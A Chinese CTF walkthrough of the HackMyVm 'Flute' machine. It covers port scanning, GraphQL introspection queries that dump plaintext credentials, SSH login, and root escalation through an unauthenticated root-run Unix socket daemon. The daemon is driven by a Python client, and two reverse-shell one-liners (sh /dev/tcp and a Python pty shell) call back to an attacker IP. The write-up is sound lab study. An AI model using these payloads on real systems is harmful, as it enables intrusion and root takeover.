HackMyVm靶场之Flute

admin 2026-04-27 04:35:04 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了HackMyVm靶机Flute的渗透过程。通过Nmap发现22和8888端口,针对8888端口的ApolloGraphQL接口进行内省查询,获取User对象结构并直接查出明文凭据。利用hamelin账户SSH登录后,发现opt目录下以root权限运行的ratd.py脚本监听权限为777的Unix域套接字,且无认证直接执行系统命令。作者通过Python脚本与套接字交互,利用该命令执行漏洞发送反弹Shellpayload,成功提权至root。核心思路为GraphQL信息泄露结合不安全本地服务提权。 综合评分: 75 文章分类: 渗透测试,WEB安全,漏洞分析


cover_image

HackMyVm靶场之Flute

原创

MS02423 MS02423

MS02423

2026年4月2日 21:12 天津

在小说阅读器读本章

去阅读

这个靶机打完之后,没有写wp,现在补一补

一.信息收集

1.靶机IP

nmap -sP 192.168.137.0/24

靶机IP是192.168.137.23

2.开放的端口

nmap -p- -sV 192.168.137.23

我们可以看到开放了8888端口和22端口,所以我们的思路就是在8888端口寻找信息,然后在22端口登录即可

3.目录扫描

 feroxbuster -u http://192.168.137.23:8888 -w /usr/share/seclists/Discovery/Web-Content/big.txt -x txt,php,html,zip,bak

我们可以看到没有任何的目录信息,所以目前我们的信息只有8888端口,那么我们接下来就去8888端口查看即可

二.渗透测试

1.访问IP

192.168.137.23:8888

我们可以看到是一个 Apollo Studio Sandbox(Apollo 工作室沙箱)的界面,它是 Apollo GraphQL 平台的本地开发工具。

下面是一个查询语句

curl --request POST \  --header 'content-type: application/json' \  --url 'http://192.168.137.23:8888/' \  --data '{"query":"query {_typename}"}'

这是一个标准的 GraphQL HTTP POST 请求

查询内容为 {_typename},是 GraphQL 的内省查询,用于获取类型名

既然是一个查询语句,我们试试能不能去查询所有的用户名和密码试试看

2.查询语法

专门查询User类型的详细结构,我们看看结构是什么,然后通过结构去查询用户名和密码

查询User类型的所有字段curl -X POST http://192.168.137.23:8888/ \  -H "Content-Type: application/json" \  --data '{"query":"{ __type(name: \"User\") { name kind fields { name type { name kind } } } }"}'

{"data":{"__type":{"name":"User","kind":"OBJECT","fields":[{"name":"username","type":{"name":"String","kind":"SCALAR"}},{"name":"password","type":{"name":"String","kind":"SCALAR"}}]}}}

基于查询结果的分析

执行的查询成功返回了 User对象的结构定义。结果显示:

对象名称:User对象类型:OBJECT包含字段:username(类型: String)password(类型: String)

这证实了该 GraphQL API 中存储了包含用户名和密码字段的用户对象。获取所有用户名和密码的操作步骤

已知 User类型包含 username和 password字段,下一步是找到能够返回用户列表的查询入口点。根据常见的 GraphQL 设计模式

最常见的查询所有用户的字段名是 users。执行以下命令

curl -X POST http://192.168.137.23:8888/ \  -H "Content-Type: application/json" \  --data '{"query":"query { users { username password } }"}'

我们可以看到返回了2个用户名和密码

{"data":{"users":[{"username":"admin","password":"imtherealadmin"},{"username":"hamelin","password":"comewithmerats"}]}}

接下来我们就是去ssh登录即可,经过尝试我们可以通过

hamelin:comewithmerats

登录成功

3.ssh登录

ssh [email protected]

我们可以看到是登录成功的,接下来我们就是去提权即可

然后我们一顿找在/opt/目录下发现了 ratd.py

我们去看看

import socketimport os
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)socket_path = "/tmp/ratd.sock"
if os.path.exists(socket_path):    os.remove(socket_path)
sock.bind(socket_path)os.chmod(socket_path, 0o777)sock.listen(1)
print("Rat daemon running...")
while True:    conn, _ = sock.accept()    data = conn.recv(1024).decode()
    if data.startswith("RUN "):        cmd = data[4:]        os.system(cmd)        conn.send(b"OK\n")    else:        conn.send(b"Unknown command\n")
    conn.close()

4.提权

我们进行分析

位置:/opt/ratd/ratd.py运行权限:root(从ps aux输出可见)监听地址:/tmp/ratd.sock(权限777,任何用户可访问)工作原理:监听Unix域套接字/tmp/ratd.sock接收以"RUN "开头的命令通过os.system(cmd)以root权限执行命令返回"OK\n"响应存在的漏洞任意命令执行:任何本地用户(包括您当前的hamelin用户)都可以执行任意命令root权限:命令以root权限执行无需认证:套接字权限777,无需任何认证持久性:该服务随系统启动,一直运行

那么我们就使用它去获取root权限即可

我们测试一下,测试服务是否正常工作

# 创建测试脚本来与ratd交互cat > /tmp/test_ratd.py <<&nbsp;'EOF'import&nbsp;socketimport&nbsp;sys
def&nbsp;run_command(cmd):&nbsp; &nbsp; client = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)&nbsp; &nbsp; client.connect("/tmp/ratd.sock")&nbsp; &nbsp; client.send(("RUN "&nbsp;+ cmd).encode())&nbsp; &nbsp; response = client.recv(1024).decode()&nbsp; &nbsp; client.close()&nbsp; &nbsp;&nbsp;return&nbsp;response
# 测试命令test_commands = [&nbsp; &nbsp;&nbsp;"id > /tmp/ratd_test_id.txt",&nbsp; &nbsp;&nbsp;"whoami > /tmp/ratd_test_whoami.txt",&nbsp; &nbsp;&nbsp;"pwd > /tmp/ratd_test_pwd.txt",&nbsp; &nbsp;&nbsp;"ls -la / > /tmp/ratd_test_ls.txt"]
for&nbsp;cmd&nbsp;in&nbsp;test_commands:&nbsp; &nbsp;&nbsp;print(f"执行:&nbsp;{cmd}")&nbsp; &nbsp; result = run_command(cmd)&nbsp; &nbsp;&nbsp;print(f"响应:&nbsp;{result}")
# 检查输出文件import&nbsp;osfor&nbsp;f&nbsp;in&nbsp;["/tmp/ratd_test_id.txt",&nbsp;"/tmp/ratd_test_whoami.txt"]:&nbsp; &nbsp;&nbsp;if&nbsp;os.path.exists(f):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(f,&nbsp;'r')&nbsp;as&nbsp;file:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"文件&nbsp;{f}&nbsp;内容:&nbsp;{file.read().strip()}")EOF
python3 /tmp/test_ratd.py

我们可以看到是创建成功的,那么我们直接去反弹shell即可

我们直接去使用sh去反弹是不会成功的,而且这里是sh,不是bash

&nbsp;python3 /tmp/ratd_client.py&nbsp;"sh -c 'sh -i >& /dev/tcp/192.168.137.102/4444 0>&1'"

只会返回OK

既然没有反弹成功,我们使用python去反弹试试看

&nbsp;python3&nbsp;/tmp/ratd_client.py&nbsp;"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.137.102\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/sh\")'"

我们可以看到是反弹成功,成功获取root权限。

至此,这个靶机渗透测试完成。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:MS02423 MS02423 MS02423《HackMyVm靶场之Flute》

评论:0   参与:  0